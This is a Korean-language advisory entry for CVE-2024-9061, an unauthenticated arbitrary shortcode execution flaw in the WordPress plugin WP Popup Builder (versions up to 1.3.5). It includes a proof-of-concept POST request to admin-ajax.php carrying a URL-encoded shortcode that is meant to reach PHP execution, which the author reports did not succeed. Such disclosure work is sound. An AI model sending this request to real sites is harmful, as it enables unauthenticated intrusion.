
WP Popup Builder – 팝업 폼 및 마케팅 리드 생성 <= 1.3.5 - wp_ajax_nopriv_shortcode_Api_Add를 통한 인증되지 않은 임의 쇼트코드 실행
WP Popup Builder – Popup Forms and Marketing Lead Generation <= 1.3.5 - wp_ajax_nopriv_shortcode_Api_Add를 통한 인증되지 않은 임의 숏코드 실행
WordPress용 WP Popup Builder – Popup Forms and Marketing Lead Generation 플러그인은 1.3.5를 포함한 모든 이전 버전에서 wp_ajax_nopriv_shortcode_Api_Add AJAX 액션을 통한 임의 숏코드 실행에 취약합니다. 이는 소프트웨어가 사용자로 하여금 do_shortcode를 실행하기 전에 값을 제대로 검증하지 않는 액션을 실행하도록 허용하기 때문입니다. 이로 인해 인증되지 않은 공격자가 임의의 숏코드를 실행할 수 있습니다. 참고: 이 취약점은 1.3.5 버전에서 nonce 검사를 통해 부분적으로 수정되어 영향을 받는 함수에 대한 접근을 효과적으로 차단했습니다. 그러나 1.3.6 버전에는 무단 접근을 방지하기 위한 올바른 권한 검사가 포함되어 있습니다.
저는 이를 위해 PHP 실행용 플러그인을 하나 더 설치했지만 실행까지는 하지 못했습니다.
[xyz-ips snippet="test"]
Type: plugin
CVSS Score: 7.3
CVE: CVE-2024-9061
Slug: wp-popup-builder
Download Link: Download [wp-popup-builder Version 1.3.2](https://downloads.wordpress.org/plugin/wp-popup-builder.1.3.2.zip)
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: keep-alive
action=shortcode_Api_Add&shortcode=%5b%78%79%7a%2d%69%70%73%20%73%6e%69%70%70%65%74%3d%22%74%65%73%74%22%5d
응답은 빈 200입니다.